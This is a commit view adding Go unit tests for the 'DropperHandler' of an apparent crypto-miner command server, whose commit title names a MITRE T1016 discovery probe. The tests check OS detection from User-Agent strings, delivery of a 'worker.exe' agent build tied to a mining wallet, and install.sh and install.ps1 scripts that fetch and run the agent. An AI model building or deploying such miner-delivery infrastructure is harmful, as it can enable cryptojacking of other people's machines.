feat: T1016 dns_config probe + server-side drift detection + Crucible DNS DRIFT badge
This commit is contained in:
150
server/internal/api/dropper_handler_test.go
Normal file
150
server/internal/api/dropper_handler_test.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
|
||||
}
|
||||
|
||||
func TestDetectPlatformQueryParam(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"windows": "windows", "win": "windows",
|
||||
"linux": "linux",
|
||||
"darwin": "darwin", "mac": "darwin", "macos": "darwin",
|
||||
"universal": "universal", "any": "universal",
|
||||
"unknown": "",
|
||||
}
|
||||
for in, want := range cases {
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os="+in, nil)
|
||||
if got := detectPlatform(req); got != want {
|
||||
t.Fatalf("detectPlatform(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectPlatformUserAgent(t *testing.T) {
|
||||
tests := []struct {
|
||||
ua string
|
||||
want string
|
||||
}{
|
||||
{"Mozilla/5.0 (Windows NT 10.0)", "windows"},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X)", "darwin"},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64)", "linux"},
|
||||
{"curl/8.0", ""},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
req := httptest.NewRequest(http.MethodGet, "/get", nil)
|
||||
req.Header.Set("User-Agent", tc.ua)
|
||||
if got := detectPlatform(req); got != tc.want {
|
||||
t.Fatalf("UA %q => %q, want %q", tc.ua, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetNoBuilds(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/get", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("expected 404, got %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "no agent build available") {
|
||||
t.Fatalf("unexpected body: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetWindowsBuild(t *testing.T) {
|
||||
h, database, dataDir := newTestDropperHandler(t)
|
||||
buildID := "win-build"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
binPath := filepath.Join(buildDir, "worker.exe")
|
||||
content := []byte("windows-agent-binary")
|
||||
if err := os.WriteFile(binPath, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: binPath, FileName: "worker.exe", Platform: "windows",
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "worker.exe") {
|
||||
t.Fatalf("missing disposition: %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperResolveBasePublicURL(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
req.Host = "ignored.local:8989"
|
||||
if base := h.resolveBase(req); base != "https://public.example.com" {
|
||||
t.Fatalf("publicURL override = %q", base)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperResolveBaseFromRequest(t *testing.T) {
|
||||
h := NewDropperHandler(nil, nil)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
req.Host = "deck.local:8989"
|
||||
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
|
||||
if base := h.resolveBase(req); base != "http://proxy.example.com" {
|
||||
t.Fatalf("resolveBase = %q", base)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeShContent(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeSh(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
body := rec.Body.String()
|
||||
if !strings.Contains(body, "#!/bin/sh") || !strings.Contains(body, "https://public.example.com/get") {
|
||||
t.Fatalf("unexpected install.sh body prefix: %.120s", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServePs1Content(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServePs1(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "DownloadFile") {
|
||||
t.Fatal("expected PowerShell download snippet")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user